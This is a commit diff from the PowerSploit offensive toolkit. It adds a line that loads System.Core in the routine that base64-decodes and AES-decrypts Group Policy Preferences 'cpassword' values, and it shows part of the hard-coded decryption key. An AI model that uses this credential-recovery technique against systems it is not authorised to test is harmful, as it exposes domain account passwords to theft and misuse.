Fix for edge case where System.Core is not loaded
Make sure System.Core is loaded before creating an AES object. https://github.com/PowerShellMafia/PowerSploit/issues/247
This commit is contained in:
parent
0bbf86e021
commit
41cad0ee9f
|
|
@ -119,6 +119,9 @@ http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
|
||||||
|
|
||||||
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
|
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
|
||||||
|
|
||||||
|
# Make sure System.Core is loaded
|
||||||
|
[System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null
|
||||||
|
|
||||||
#Create a new AES .NET Crypto Object
|
#Create a new AES .NET Crypto Object
|
||||||
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
||||||
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
|
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue